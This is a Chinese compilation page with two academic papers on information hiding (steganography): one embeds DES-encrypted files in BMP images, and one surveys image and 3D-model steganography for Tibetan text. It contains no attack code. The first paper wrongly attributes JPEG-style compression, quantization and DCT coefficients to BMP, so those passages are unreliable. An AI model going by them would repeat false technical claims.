隱藏技術(shù)匯總十篇

時(shí)間:2022-06-30 09:39:20

序論:好文章的創(chuàng)作是一個(gè)不斷探索和完善的過程,我們?yōu)槟扑]十篇隱藏技術(shù)范例,希望它們能助您一臂之力,提升您的閱讀品質(zhì),帶來更深刻的閱讀感受。

隱藏技術(shù)

篇(1)

【 中圖分類號(hào) 】 TN915.08 【 文獻(xiàn)標(biāo)識(shí)碼 】 A

【 Abstract 】 This paper presents a kind of information hiding technology, first of all, through using DES encryption algorithm to encrypt files, and then through information hiding, encrypted file hidden in the BMP image, the encryption image is exactly the same with the original image, the protection of the data is implemented very well.

【 Keywords 】 information hiding; des; encryption image

1 引言

信息隱藏是上世紀(jì)90年代開始興起的信息安全新技術(shù),并成為信息安全技術(shù)研究的熱點(diǎn)。傳統(tǒng)通信領(lǐng)域?yàn)榱吮WC傳遞的信息能夠不被竊聽或破壞,常采用密碼來保護(hù)信息,即讓竊聽者無法看到或聽懂,但是這種技術(shù)的缺點(diǎn)是告訴竊聽者這就是秘密信息,特別是隨著計(jì)算機(jī)技術(shù)的發(fā)展,密碼的安全性受到很大挑戰(zhàn)。而新的信息隱藏技術(shù)是將需要傳遞的秘密信息,隱藏在一個(gè)普通的非秘密消息當(dāng)中,再進(jìn)行傳輸,這樣即使竊聽者竊聽了傳輸?shù)男畔ⅲ仓粫?huì)將其當(dāng)成普通的消息,而不會(huì)懷疑或者無法得知是否有秘密信息的存在。

BMP是目前最常見的一種圖像格式,采用BMP圖像作為隱藏消息的載體具有許多優(yōu)點(diǎn)。首先,BMP圖像格式是互聯(lián)網(wǎng)上圖像傳輸?shù)氖聦?shí)標(biāo)準(zhǔn),使用這一圖像格式比起其它格式來更不會(huì)引起懷疑。其次,BMP壓縮造成的和秘密消息嵌入帶來的圖像質(zhì)量退化是肉眼很難分辨的。為了更好地保證信息的安全性,本文把文件密碼加密和信息隱藏這兩種技術(shù)結(jié)合起來:首先利用DES(Data Encryption Standard)把信息文件進(jìn)行加密,然后把加密后的文件通過選定的BMP圖像以特定算法進(jìn)行隱藏。

2 信息隱藏算法

信息隱藏把前面的加密信息隱藏在無關(guān)緊要的載體BMP圖片中,第三方并不知道秘密通信這個(gè)事實(shí)的存在,也就是將秘密信息本身的存在藏起來,即使得到了載密對(duì)象,也看不到存在的秘密信息。

隱藏算法通過對(duì)BMP圖像中選定的DCT系數(shù)進(jìn)行微小變換,以滿足特定的關(guān)系來表示一個(gè)比特的信息。在提取隱藏的信息時(shí),根據(jù)隱藏的逆過程抽取比特信息。其特點(diǎn)是隱藏的數(shù)據(jù)量較少,但是其抵抗幾何變換等攻擊的能力較強(qiáng)。

在BMP編碼中,量化過程是多對(duì)一的映射,它是有損變換過程,如果在量化前嵌入秘密消息,會(huì)丟失一些信息,從而導(dǎo)致解碼時(shí)不能正確的獲得秘密信息。因此,BMP圖像的隱寫算法的基本原理必須在量化后進(jìn)行。由前所述,人眼對(duì)亮度信號(hào)比對(duì)色差信號(hào)更敏感,因此本工作將秘密消息與量化后的Y分量的DCT系數(shù)的LSB聯(lián)系起來,從而達(dá)到嵌入和提取秘密信息的目的。

隱藏流程如圖1所示,具體分為三步驟。

(1)對(duì)BMP圖像的壓縮數(shù)據(jù)進(jìn)行解碼,得到量化后的DCT系數(shù)。

(2)按照隱寫算法的嵌入規(guī)則對(duì)Y分量的DCT系數(shù)進(jìn)行修改,將要隱藏的秘密消息嵌入到其中。

① 首先對(duì)載體圖像按照8×8的分塊方式進(jìn)行分塊。如果載體圖像的行數(shù)和列數(shù)的像素個(gè)數(shù)不為8的倍數(shù)時(shí),則要進(jìn)行邊界擴(kuò)充處理,使得行數(shù)和列數(shù)的像素個(gè)數(shù)都是8的倍數(shù)。設(shè)載體圖像的行數(shù)為ImgHeight,列數(shù)為ImgWidth,Y在行和列方向上的采樣率分別為SampRate_Y_H和SampRate_Y_V,則整幅圖像被分為MCUNum = ImgWidth * ImgHeight / (64 * SampRate_Y_H * SampRate_Y_V)個(gè)小塊。

② 讀入待隱信息文件,把其轉(zhuǎn)換為二進(jìn)制的位流。設(shè)待隱信息文件的長度為FileLength。為了以后提取待隱信息,需要傳遞文件長度,用2個(gè)字節(jié)表示,可表示的最大數(shù)為65535。這樣總的需要隱藏的信息長度 TotalFileLength = FileLength + 2,單位是字節(jié)。

③ 對(duì)一個(gè)MCU,按照對(duì)Y分量的DCT系數(shù)最低位進(jìn)行修改。查找預(yù)定義的矩陣MIDBAND,該矩陣由數(shù)值0,1組成,對(duì)其中數(shù)值為1的位置修改對(duì)應(yīng)DCT的頻率系數(shù):如果當(dāng)前待隱信息的二進(jìn)制值為0,則把相應(yīng)位置的頻率系數(shù)值的最低為修改為0;如果當(dāng)前待隱信息的二進(jìn)制值為1,則把相應(yīng)位置的頻率系數(shù)值的最低為修改為1。

④ 對(duì)待隱信息文件的二進(jìn)制流按照③的隱藏方案進(jìn)行信息隱藏。如果待隱信息文件長度大于載體圖片的最大隱藏量,則把待隱信息文件按照最大隱藏量進(jìn)行分段,然后分批按照隱藏流程處理。

(3)對(duì)修改后的DCT系數(shù)進(jìn)行編碼,重新生成壓縮數(shù)據(jù),即載密BMP圖像。對(duì)于上面分批隱藏的,生成系列載密圖像如圖2所示。

秘密消息的提取過程是嵌入過程的逆過程,提取算法要和隱寫算法相對(duì)應(yīng)。

3 結(jié)束語

在網(wǎng)絡(luò)飛速發(fā)展的今天,信息隱藏技術(shù)的研究具有現(xiàn)實(shí)意義。本文將DES加密技術(shù)與信息隱藏技術(shù)相融合,將加密后的信息隱藏到最常見的BMP圖片中,使整個(gè)信息隱藏過程達(dá)到比較高的安全級(jí)別。信息隱藏技術(shù)在商業(yè)中的廣泛應(yīng)用,是一個(gè)跨多領(lǐng)域、多學(xué)科(數(shù)字信號(hào)處理、圖像處理、模式識(shí)別、數(shù)字通信、多媒體技術(shù)、密碼學(xué)、語音處理等)的技術(shù)體系,由于它與具體的應(yīng)用密切相關(guān),這也決定了信息隱藏技術(shù)研究成果的多樣性以及信息隱藏技術(shù)研究的不完善性,仍有許多技術(shù)問題需要解決。但可以相信,隨著科學(xué)技術(shù)越來越發(fā)達(dá),信息隱藏將有更加廣闊的發(fā)展空間。

參考文獻(xiàn)

[1] 夏煜,郎榮玲,曹衛(wèi)兵等.基于圖像的信息隱藏檢測(cè)算法和實(shí)現(xiàn)技術(shù)研究綜述[J].計(jì)算機(jī)研究與發(fā)展,2004, 41(4):728-736.

[2] 陳波,譚運(yùn)猛,吳世忠.信息隱藏技術(shù)綜述[J].計(jì)算機(jī)與數(shù)字工程, 2005, 33(2):21-23.

[3] 陳雅.基于數(shù)字圖像的信息隱藏技術(shù)綜述[J].福建電腦,2008, (2):6-6.

篇(2)

中圖分類號(hào):TN401 文獻(xiàn)標(biāo)識(shí)碼:A 文章編號(hào):2095-1302(2014)12-00-05

0 引 言

安全、有效的信息傳輸對(duì)國家安全、社會(huì)穩(wěn)定和人民安居樂業(yè)至關(guān)重要。網(wǎng)絡(luò)和多媒體技術(shù)的發(fā)展,使得信息傳輸?shù)乃俣群蛿?shù)量正以驚人的增量發(fā)展。然而,信息傳輸?shù)谋憷诜奖闳藗兊耐瑫r(shí)也給信息安全帶來了隱患,同時(shí)也為基于數(shù)字載體的秘密信息傳輸提供了廣闊的研究空間。目前,基于載體的秘密信息傳輸是信息安全領(lǐng)域的一個(gè)方興未艾的研究熱點(diǎn)。而基于載體預(yù)處理的藏文信息隱藏技術(shù)將為信息安全領(lǐng)域提供一些新的數(shù)字信息共享和傳輸理念,特別是藏文的預(yù)處理規(guī)律、在數(shù)字信息中的隱藏規(guī)律等,將有助于涉藏秘密通信技術(shù)的發(fā)展,并可以對(duì)民用和商用領(lǐng)域中涉及到藏文內(nèi)容的傳輸、共享、存儲(chǔ)和提取的通信過程起到安全保護(hù)、版權(quán)保護(hù)及完整性認(rèn)證的作用,并對(duì)國家涉藏領(lǐng)域的網(wǎng)絡(luò)輿情監(jiān)控、國內(nèi)外涉藏敏感信息標(biāo)注和情感色彩認(rèn)知起著至關(guān)重要的作用。

在藏文信息隱藏技術(shù)方面,目前主要涉及的技術(shù)有關(guān)鍵字識(shí)別、字符識(shí)別和提取、韻律認(rèn)知、語義角色標(biāo)注、文本資源挖掘和語料抽取等,并以此為基礎(chǔ)進(jìn)行置亂優(yōu)化。

1 國內(nèi)外信息隱藏技術(shù)研究現(xiàn)狀

信息隱藏一直是信息安全領(lǐng)域中保障隱秘信息安全傳輸和數(shù)字信息版權(quán)的重要手段,也是近年來國內(nèi)外學(xué)者研究的熱點(diǎn)之一。最新的一屆ACM信息隱藏和多媒體安全會(huì)議(ACM IH&MMSec’13 Workshop)的主要研究內(nèi)容有信息隱藏算法、多媒體水印和認(rèn)證、載體運(yùn)算域的數(shù)字信號(hào)處理等。其中,信息隱藏算法的設(shè)計(jì)首先依賴于載體的選擇和預(yù)處理;關(guān)于多媒體水印和認(rèn)證的研究則將信息隱藏和數(shù)字水印的載體范圍從數(shù)字圖像等常見載體拓展到了包括三維模型在內(nèi)的新型載體上;載體運(yùn)算域的數(shù)字信號(hào)處理涉及到了載體預(yù)處理時(shí)所用的具體方法,如空間域或變換域等。2013年IEEE 圖像處理國際會(huì)議(IEEE ICIP 2013)的主要研究內(nèi)容包括圖像、音視頻和3-D等多媒體的信息隱藏算法和多媒體特征提取和分析等,這兩類研究內(nèi)容均與載體的選取和預(yù)處理有關(guān)。最新一屆信息隱藏國際會(huì)議(IH2012)的主要研究內(nèi)容包括多媒體安全和其他載體的信息隱藏。我國的第十一屆全國信息隱藏暨多媒體安全學(xué)術(shù)大會(huì)(CIHW2013)中關(guān)于信息隱藏算法的研究內(nèi)容也主要集中在非常規(guī)載體的分析和預(yù)處理上。

藏文作為信息隱藏領(lǐng)域一種新的信息格式,對(duì)其研究主要局限于藏文操作系統(tǒng)、藏文信息技術(shù)標(biāo)準(zhǔn)、藏文信息處理等幾個(gè)方面[1],具體內(nèi)容集中在藏文編碼字符集、術(shù)語集、拼音輔助集等的建立。

基于載體的秘密通信技術(shù)是20世紀(jì)90年代中期發(fā)展起來的跨領(lǐng)域的學(xué)科,而載體的預(yù)處理技術(shù)一直是其研究的主要方向。對(duì)隱藏載體進(jìn)行預(yù)處理,生成信息隱藏嵌入?yún)^(qū)域是信息隱藏算法中最重要的研究內(nèi)容之一。從上述國內(nèi)外各學(xué)術(shù)會(huì)議中關(guān)于信息隱藏的參會(huì)論文和研討情況看,各類載體固有特性的研究對(duì)預(yù)處理技術(shù)有著重要的意義,且數(shù)字圖像依然是主要的一類載體,而三維模型將是未來主要研究的一類非常規(guī)載體。下面就對(duì)數(shù)字圖像和三維模型兩類載體的預(yù)處理技術(shù)的研究現(xiàn)狀進(jìn)行闡述。

1.1 數(shù)字圖像預(yù)處理技術(shù)研究綜述

基于數(shù)字圖像的信息隱藏技術(shù)是信息隱藏學(xué)科中重要的技術(shù)分支,是目前應(yīng)用最廣、覆蓋范圍最大的信息隱藏技術(shù)手段。在基于數(shù)字圖像的信息隱藏技術(shù)研究中,信息隱藏區(qū)域的生成是關(guān)系算法性能的重要因素。信息隱藏區(qū)域的生成方法主要包括空間域生成法、變換域生成法以及空間域和變換域聯(lián)合的生成方法。

空間域算法:作為空間域算法中出現(xiàn)最早、操作最簡單且應(yīng)用最廣泛的算法,基于位平面分解理論的LSB算法可以直接替換的方式隱藏較大的數(shù)據(jù)量,劉紅翼等提出的一種LSB算法具有容量大、運(yùn)算量小的特點(diǎn)[2];劉文彬等提出的LSB隱寫替換的消息定位方法則可以對(duì)此類算法進(jìn)行檢測(cè)[3];而IH2012的論文中,有學(xué)者運(yùn)用假設(shè)檢驗(yàn)理論和含秘載體的奇偶感知特性可有效地檢測(cè)LSB算法所隱藏的隱秘信息[4,5],這些研究為藏文信息隱藏中涉及到關(guān)于此類算法的抗檢測(cè)性研究提供了新的待改進(jìn)方向。張焱等提出的像素值排序和趙彥濤等提出的直方圖修改等空間域算法在沿用LSB直接替換的隱藏理念的同時(shí),還提升了魯棒性,因此也被廣泛用于數(shù)字圖像載體預(yù)處理[6,7];隨后,楊春芳等提出了針對(duì)此類算法的檢測(cè)方法[8],這也為針對(duì)此類算法抗檢測(cè)性改進(jìn)的研究提供了重要依據(jù)。此外,上述同類算法中的載體子區(qū)域劃分思想、內(nèi)容自適應(yīng)思想等也對(duì)本項(xiàng)目基于載體結(jié)構(gòu)特性建立空間匹配模型的機(jī)制提供了方法學(xué)上的有力支持[9-13]。

變換域算法:不同于空間域算法直接對(duì)載體的空間特性進(jìn)行修改,變換域預(yù)處理方法以修改載體的頻率參數(shù)來隱藏信息[14],因此算法的魯棒性比空間域算法好。在此基礎(chǔ)上,唐燕等又對(duì)隱秘信息的檢測(cè)和恢復(fù)進(jìn)行了研究和改進(jìn),實(shí)現(xiàn)了幾乎無需原始參量的半盲提取[15]。盡管變換域算法不具備空間域算法容量大、運(yùn)算量小和易操作等優(yōu)勢(shì),但是變換域中的多小波理論因其同時(shí)具有對(duì)稱性、短支撐性、二階消失矩和正交性等特性成為了信號(hào)處理中有明顯優(yōu)勢(shì)且較常用的方法,在前期研究中利用多小波方法將數(shù)字圖像載體分塊后作為嵌入?yún)^(qū)域,提高了算法的魯棒性和不可見性[16,17],這種方法為在藏文信息隱藏研究中建立基于區(qū)域能量的階梯性分布機(jī)制提供了一種研究手段。

混合域算法:較單獨(dú)運(yùn)用一種空間域或變換域生成隱藏區(qū)域并設(shè)計(jì)信息隱藏算法來看,基于空間域與變換域聯(lián)合的信息隱藏算法可以兼有多種算法的性能優(yōu)勢(shì)。在基于空間域和變換域聯(lián)合的信息隱藏算法中,空間域的作用體現(xiàn)在數(shù)據(jù)嵌入的具體操作方面,因?yàn)殡[藏的實(shí)質(zhì)就是在當(dāng)前環(huán)境下的空間分量上進(jìn)行數(shù)據(jù)修改,利用邊緣像素值差分(Edged Pixel Value Differencing,EPVD)將載體換算為若干個(gè)像素塊,以最大斜角的數(shù)據(jù)修改作為信息隱藏的具體方法[18];利用濕紙碼和基于LSBM的雙層隱寫來對(duì)載體進(jìn)行加1嵌入或減1嵌入[19];另外,國內(nèi)外許多學(xué)者利用調(diào)色板理論進(jìn)行數(shù)據(jù)嵌入[20,21]。而變換域在載體預(yù)處理中的主要作用是生成滿足特定需要的信息隱藏環(huán)境(區(qū)域),主要包括變換后的系數(shù)分布以及n階分量子圖等。如對(duì)RSV顏色空間的V分量做DCT變換,分塊后作為嵌入?yún)^(qū)域[22];利用視覺顯著點(diǎn)技術(shù)確定跟蹤窗(Regions of Interest,ROI),在ROI的DCT系數(shù)上嵌入隱藏信息,并指定某個(gè)ROI邊緣地圖脆弱性標(biāo)識(shí),嵌入到DWT變換后的含密圖像中[23];前期研究中,研究人員利用自適應(yīng)顏色遷移理論中l(wèi)αβ域?qū)︻伾目刂屏Γ薘GB顏色分量的強(qiáng)相關(guān)性,并結(jié)合GHM能量分區(qū)隱藏信息,在不可見性、嵌入信息量和魯棒性方面均具有較好的表現(xiàn)[24]。

1.2 三維模型預(yù)處理技術(shù)研究綜述

潘志庚等將基于三維模型的信息隱藏預(yù)處理方法主要分為空間域算法和變換域算法[25]。這也這為藏文信息隱藏研究提供了新的思路和方法。

空間域算法:空間域算法通常具有易嵌入和盲提取的特點(diǎn),如直接置換載體的幾何信息來隱藏?cái)?shù)據(jù)是三維模型載體信息隱藏最原始、最直接的方法[26]。為改進(jìn)此類算法的魯棒性,引入仿射不變量是有效的措施,如利用具有連續(xù)解析性的仿射不變量優(yōu)化需要置換的頂點(diǎn)[27]、 將穩(wěn)態(tài)錨點(diǎn)通過三角垂心編碼解析為聚類元素從而嵌入隱秘信息[28]。此外,基于主元分析的算法也有助于改善空間域算法的魯棒性,例如可根據(jù)主元分析(Primary Component Analysis,PCA)來確定模型的關(guān)鍵位置作為魯棒區(qū)域,并用網(wǎng)格分割法改進(jìn)魯棒性和不可見性[29-32]。這類算法也為藏文信息隱藏從載體結(jié)構(gòu)特性進(jìn)行解析和預(yù)處理提供了理論依據(jù)。改進(jìn)型的空間域算法多針對(duì)魯棒性或容量性有所提升,如基于連續(xù)解析性的體積矩的盲算法,改善了之前算法對(duì)連通性攻擊的魯棒性[33];通過重排頂點(diǎn)和面片在網(wǎng)格文件中的表示信息,利用表示域內(nèi)的信息進(jìn)行嵌入使算法具有良好的不可見性和大容量性[34],但對(duì)相似變換以外的攻擊不具有魯棒性。

變換域算法:三維模型預(yù)處理的變換域方法大多利用頻譜分析將模型信息參數(shù)化[35],對(duì)參數(shù)進(jìn)行少量修改后以隱藏信息,其中,基于小波變換的算法可以對(duì)規(guī)則和非規(guī)則網(wǎng)格模型進(jìn)行小波域參量修改以嵌入較多信息[36]。理論上,變換域算法比空間域算法魯棒性強(qiáng),但由于三維模型頂點(diǎn)的天然無序性和不規(guī)則性,對(duì)其進(jìn)行頻譜分析難度大,導(dǎo)致變換域算法實(shí)用性目前較低,因此空間域算法依然是比變換域算法更有實(shí)用價(jià)值的研究方向[37]。

2 藏文信息隱藏技術(shù)研究現(xiàn)狀

目前反映藏文信息處理技術(shù)最新進(jìn)展的文獻(xiàn)較少,綜合以已有的研究成果及相關(guān)研究文獻(xiàn),藏文信息處理可劃分為藏語信息處理和藏字信息處理兩個(gè)層次[38,39]。藏語信息處理包括機(jī)器翻譯、信息檢索、信息提取、文本校對(duì)、文本生成、文本分類、自動(dòng)摘要以及藏文字識(shí)別和語音識(shí)別的后處理等等;而藏字信息處理包括操作系統(tǒng)以及編碼字符集、輸入技術(shù)、字形描述與生成、存儲(chǔ)、編輯、排版、字頻統(tǒng)計(jì)和藏字屬性庫等。這些研究基礎(chǔ)對(duì)藏文信息隱藏技術(shù)的發(fā)展至關(guān)重要,是基于載體預(yù)處理的藏文信息隱藏的主要技術(shù)來源。鑒于藏文的獨(dú)特構(gòu)造,以及藏文的特點(diǎn),目前對(duì)藏文秘密信息的預(yù)處理技術(shù)一般指置亂和加密算法的選擇[40],而置亂使信息變得雜亂無章難以辨認(rèn),可以起到加密與改變信息嵌入特性的作用。可用于藏文信息隱藏的置亂算法主要有Arnold變換、幻方矩陣、Gray碼變換、混沌序列等方法[41]。其中,Arnold變換算法簡單且置亂效果顯著,使有意義的數(shù)字圖像變成像白噪聲一樣的無意義圖像,實(shí)現(xiàn)了信息的初步加密和信息結(jié)構(gòu)的調(diào)整,在嵌入信息為數(shù)字圖像時(shí)可以很好的應(yīng)用[42]。幻方置亂的思想基于查表思想,基于數(shù)字圖像的幻方置亂可降低幻方置亂階數(shù)或以圖像塊進(jìn)行置亂,實(shí)現(xiàn)置亂效果與系統(tǒng)開銷的平衡[43]。Gray是一種具有反射特性和循環(huán)特性的單步自補(bǔ)碼,它的循環(huán)、單步特性消除了隨機(jī)取數(shù)時(shí)出現(xiàn)重大誤差的可能,它的反射、自補(bǔ)特性使得求反非常方便[44]。混沌的優(yōu)勢(shì)在于對(duì)初始條件的極端敏感和軌跡在整個(gè)空間上的遍歷性。根據(jù)經(jīng)典的Shannon置亂與擴(kuò)散的要求,這些獨(dú)特的特征使得混沌映射成為信息隱藏嵌入算法的優(yōu)秀候選[45]。上述傳統(tǒng)的置亂算法一般用于正方形圖像處理,而經(jīng)過改進(jìn)的Arnold算法可直接用于寬高不等的矩形圖像而不必進(jìn)行正方形擴(kuò)展[46],這也將是藏文信息隱藏技術(shù)所采用的主要置亂方法之一。

3 藏文信息隱藏技術(shù)的研究目標(biāo)、研究內(nèi)容和要解決的問題

3.1 研究目標(biāo)

面向藏文安全通信的高性能信息隱藏算法是目前藏文信息隱藏技術(shù)的主要目標(biāo),包括提出性能出色的、適合藏文通信要求的信息隱藏算法;提出一種具有普適性的高性能信息隱藏嵌入?yún)^(qū)域生成原則和嵌入規(guī)則:

(1) 基于數(shù)字圖像的藏文信息隱藏算法:提出至少兩種基于數(shù)字圖像的藏文信息隱藏算法,算法將同時(shí)滿足面向藏文安全的信息隱藏應(yīng)用所要求的高不可見性(PSNR≥34.90dB)、強(qiáng)魯棒性(抗擊大約69%以下的JPEG2000壓縮、35%以下的剪切及常見濾波與加噪)、大容量性(基于彩色圖像的信息隱藏信息嵌入率≥18%)以及高感知篡改性(檢測(cè)隱藏?cái)?shù)據(jù)是否被篡改能力≥95%)。

(2) 基于三維模型的藏文信息隱藏算法:提出至少一種基于三維模型的藏文信息隱藏算法。算法將同時(shí)滿足面向藏文安全的信息隱藏應(yīng)用所要求的高不可見性(RSNR≥69.94dB、En≥70%)、應(yīng)對(duì)一般攻擊的強(qiáng)魯棒性(抗擊大約0.10%隨機(jī)加噪、50-times Laplacian平滑、50%均勻重網(wǎng)格化以及均勻簡化等)、大容量性(相對(duì)理想的RSNR,嵌入率≥29%)以及低復(fù)雜度(根據(jù)載體模型幾何信息量而變化)。

(3) 普適性信息隱藏嵌入?yún)^(qū)域生成原則和嵌入規(guī)則:利用載體圖像能量和復(fù)雜度特性,提出基于能量性和復(fù)雜度的藏文信息隱藏區(qū)域生成原則和嵌入規(guī)則,將適應(yīng)于所有對(duì)數(shù)字圖像處理后有能量區(qū)別的圖像處理方法,指導(dǎo)設(shè)計(jì)者利用能量與魯棒性、復(fù)雜度與不可見性的對(duì)應(yīng)關(guān)系,研究出同時(shí)滿足不可見性和魯棒性的信息隱藏算法。

3.2 研究內(nèi)容

(1) 藏文信息隱藏區(qū)域生成原則與規(guī)則研究:數(shù)字圖像信息隱藏技術(shù)的研究核心集中在隱藏區(qū)域和嵌入規(guī)則的設(shè)計(jì)上,藏文信息隱藏算法的設(shè)計(jì)方法和思路就是在選定藏文信息隱藏區(qū)域以及制定好信息隱藏規(guī)則后,按照一定的順序?qū)烧哌M(jìn)行合理的組織,所以研究藏文信息隱藏區(qū)域生成原則以及信息隱藏規(guī)則是重點(diǎn)。

(2) 基于數(shù)字圖像的藏文信息隱藏算法研究:隱藏算法是基于數(shù)字圖像的信息隱藏技術(shù)的研究核心,需按照嵌入域進(jìn)行劃分,對(duì)基于空間域和基于變換域的信息隱藏算法分別進(jìn)行研究,提出單獨(dú)基于空間域、單獨(dú)基于變換域以及兩者聯(lián)合應(yīng)用的數(shù)字圖像信息隱藏算法。

(3) 基于三維模型的藏文信息隱藏算法研究:首先對(duì)三維模型的結(jié)構(gòu)特性和能量特性進(jìn)行研究,再根據(jù)載體模型的特性找出對(duì)應(yīng)的預(yù)處理方法。在研究基于空間域和基于變換域的信息隱藏算法的基礎(chǔ)上,提出改進(jìn)型的三維模型信息隱藏算法。主要用于提升載體有效嵌入容量和降低載體視覺失真度。

(4) 載體與藏文秘密信息的一致化方法研究:基于上述研究基礎(chǔ),生成結(jié)構(gòu)和能量差異化子區(qū)域,再將藏文秘密信息按照拼音屬性進(jìn)行解析生成信息序列。再利用優(yōu)化算法使得預(yù)處理后的載體信息和藏文秘密信息的解析編碼獲得最大一致化,從而提高算法性能。

3.3 需解決的關(guān)鍵問題

綜合已有的研究,在藏文信息隱藏技術(shù)方面,目前需要解決的問題有以下幾個(gè)方面:

(1) 信息隱藏區(qū)域與嵌入規(guī)則設(shè)計(jì):在具有什么性質(zhì)的區(qū)域內(nèi)應(yīng)用什么樣的規(guī)則進(jìn)行藏文信息隱藏才可以解決“不可見性與魯棒性的對(duì)立、容量性與抗分析性的對(duì)立”問題,是藏文信息隱藏研究領(lǐng)域的關(guān)鍵技術(shù)之一。需找出隱藏區(qū)域的性質(zhì)與信息隱藏性能的關(guān)系,提出面向藏文信息傳輸?shù)男畔㈦[藏區(qū)域選擇的原則與方法;給出在具有具體性質(zhì)的嵌入?yún)^(qū)域中的藏文信息隱藏嵌入規(guī)則的制定原理和方法;提出大量的藏文信息數(shù)據(jù)轉(zhuǎn)換思想與方法,以提供形式多樣的信息隱藏嵌入規(guī)則。

(2) 數(shù)字圖像載體預(yù)處理方法:①多小波理論在載體預(yù)處理中的應(yīng)用。對(duì)于數(shù)字圖像經(jīng)過多小波變換后所具有的特殊性質(zhì),找出多小波變換后數(shù)字圖像所具有的能量特性與基于數(shù)字圖像信息隱藏算法性能之間所遵循的規(guī)律已有學(xué)者進(jìn)行研究。②顏色空間的性能分析與應(yīng)用選取。RGB、CMYK、lαβ、YUV以及HSx顏色空間,應(yīng)用方法以及應(yīng)用各有優(yōu)劣勢(shì)。該技術(shù)的應(yīng)用難點(diǎn)在于為顏色空間在藏文信息隱藏的應(yīng)用提出完備的應(yīng)用方案,因?yàn)檫@些顏色空間在藏文信息隱藏技術(shù)中的應(yīng)用目前非常少,應(yīng)用優(yōu)劣還處于實(shí)驗(yàn)驗(yàn)證階段,沒有理論驗(yàn)證的支持。

(3) 三維網(wǎng)格模型載體預(yù)處理方法:骨架抽取和內(nèi)切球解析技術(shù)在藏文信息隱藏算法中的應(yīng)用。這種方法不涉及頂點(diǎn)數(shù)量及坐標(biāo)的改變和拓?fù)潢P(guān)系的修改。難點(diǎn)在于尋找一個(gè)理想的仿射不變量作為輔助參數(shù)以彌補(bǔ)算法對(duì)縮放攻擊的脆弱性。

(4) 藏文的置亂與遺傳優(yōu)化算法:有的藏文字處理系統(tǒng)把藏文看成是由30個(gè)輔音、4個(gè)元音、3個(gè)上加字、5個(gè)下加字共42個(gè)藏文字符組成的,而有的則認(rèn)為由其他數(shù)量的字符組成。基于對(duì)藏文中加字對(duì)發(fā)音的影響規(guī)律的研究,利用字符與二進(jìn)制碼的解析規(guī)則和置亂與優(yōu)化技術(shù)對(duì)信息置亂,達(dá)到隱藏信息與載體信息的最大匹配度也是一個(gè)技術(shù)難點(diǎn)。

4 藏文信息隱藏技術(shù)研究的新方法

(1)利用載體圖像能量和復(fù)雜度特性,提出基于能量性和復(fù)雜度的藏文信息隱藏區(qū)域生成原則和嵌入規(guī)則。高能量與強(qiáng)魯棒、高復(fù)雜度與高不可見性的對(duì)應(yīng)關(guān)系,從根本上解決藏文信息隱藏算法中不可見性和魯棒性的對(duì)立問題,為面向藏文通信安全的信息隱藏算法的設(shè)計(jì)給出一種普適性方法。

(2)根據(jù)數(shù)字圖像信息隱藏嵌入?yún)^(qū)域的生成原則和嵌入規(guī)則,提出新的、高性能的數(shù)字圖像的藏文信息隱藏算法。算法利用lαβ等顏色空間轉(zhuǎn)換以及多小波對(duì)載體圖像進(jìn)行的處理,生成具有不同能量特性的嵌入?yún)^(qū)域,從頻率域上滿足藏文信息隱藏的應(yīng)用要求;通過對(duì)載體圖像進(jìn)行顏色遷移、矢量解析以及環(huán)形處理,從數(shù)字圖像的空間結(jié)構(gòu)上滿足藏文信息隱藏的應(yīng)用要求。

(3)提出滿足三維模型結(jié)構(gòu)特性和能量特性的藏文信息隱藏算法。算法利用局部高度理論和均值偏移理論對(duì)載體模型進(jìn)行預(yù)處理,生成具有不同能量特性的嵌入?yún)^(qū)域,從頻域上滿足信息隱藏的應(yīng)用要求;通過對(duì)載體圖像進(jìn)行骨架抽取、內(nèi)切球解析,從空間結(jié)構(gòu)上滿足藏文信息隱藏的應(yīng)用要求。

參考文獻(xiàn)

[1]陳玉忠,俞士汶. 藏文信息處理技術(shù)的研究現(xiàn)狀與展望[J]. 中國藏學(xué). 2003(4):97-107.

[2]劉紅翼,王繼軍,韋月瓊,等.一種基于LSB的數(shù)字圖像信息隱藏算法[J].計(jì)算機(jī)科學(xué),2008, 35(1):100-102.

[3]劉文彬,劉九芬.一種針對(duì)LSB替換隱寫的消息定位方法[J].信息工程大學(xué)學(xué)報(bào),2013,14(6):641-646.

[4] R. Cogranne, C. Zitzmann, F. Retraint,et al. Statistical Detection of LSB Matching Using Hypothesis Testing Theory[C].In: Proceedings of the 14th International Conference on Information Hiding,2013.

[5] J. Fridrich, J. Kodovsky. Steganalysis of LSB Replacement Using Parity-Aware Features[C]. In: Proceedings of the 14th International Conference on Information Hiding, 2013.

[6] 張焱,張敏情,甕佳佳.基于直方圖對(duì)的大容量信息隱藏算法[J].計(jì)算機(jī)應(yīng)用研究,2013,30(7):2108-2111.

[7] 趙彥濤,李志全,董宇青.基于排序和直方圖修改的可逆信息隱藏方法[J].光電子.激光,2010,2(1):102-106.

[8] 楊春芳,劉粉林,羅向陽.基于相對(duì)熵的直方圖差異與JPEG隱寫的定量分析[J].計(jì)算機(jī)研究與發(fā)展, 2011,48(8):1563-1569.

[9] 熊志勇,王江晴.基于差分直方圖平移的彩色圖像可逆信息隱藏[J].四川大學(xué)學(xué)報(bào),2011,43(3): 81-89.

[10] Z.H. Wang, C.F. Lee, C.Y. Chang. Histogram-shifting-imitated reversible data hiding[J]. The Journal of Systems and Software, 2013,86(2): 315-323.

[11] X.L. Li, J. Li, B. Li, et al. High-fidelity reversible data hiding scheme based on pixel-value-ordering and prediction-error expansion[J].Signal Processing,2013, 93(1): 198C205.

[12] X.T. Wang, C.C. Chang, T.S. Nguyen, et al. Reversible data hiding for high quality images exploiting interpolation and direction order mechanism[J]. Digital Signal Processing, 2013,23(2): 569C577.

[13] Nabin Ghoshal, Anirban Goswami, H. S. Lallie. Adaptive Steganography for Image Authentication Based on Chromatic Property[C]. In: Proceedings of the International Conference on Frontiers of Intelligent Computing: Theory and Applications (FICTA),2013.

[14]和紅杰,張家樹.對(duì)水印信息篡改魯棒的自嵌入水印算法[J].軟件學(xué)報(bào),2009,20(2):437-450.

[15] 唐燕,閭國年,殷奎喜.規(guī)范類正交矩陣的信息隱藏算法[J].東南大學(xué)學(xué)報(bào),2013,43(1):45-49.

[16] T. Zhang, D.J. Mu, S. Ren, et al. Study of reversible information hiding scheme based on CARDBAL2 and DCT[C].Proceedings-2010 3rd IEEE International Conference on Broadband Network and Multimedia Technology (IC-BNMT2010),2010.

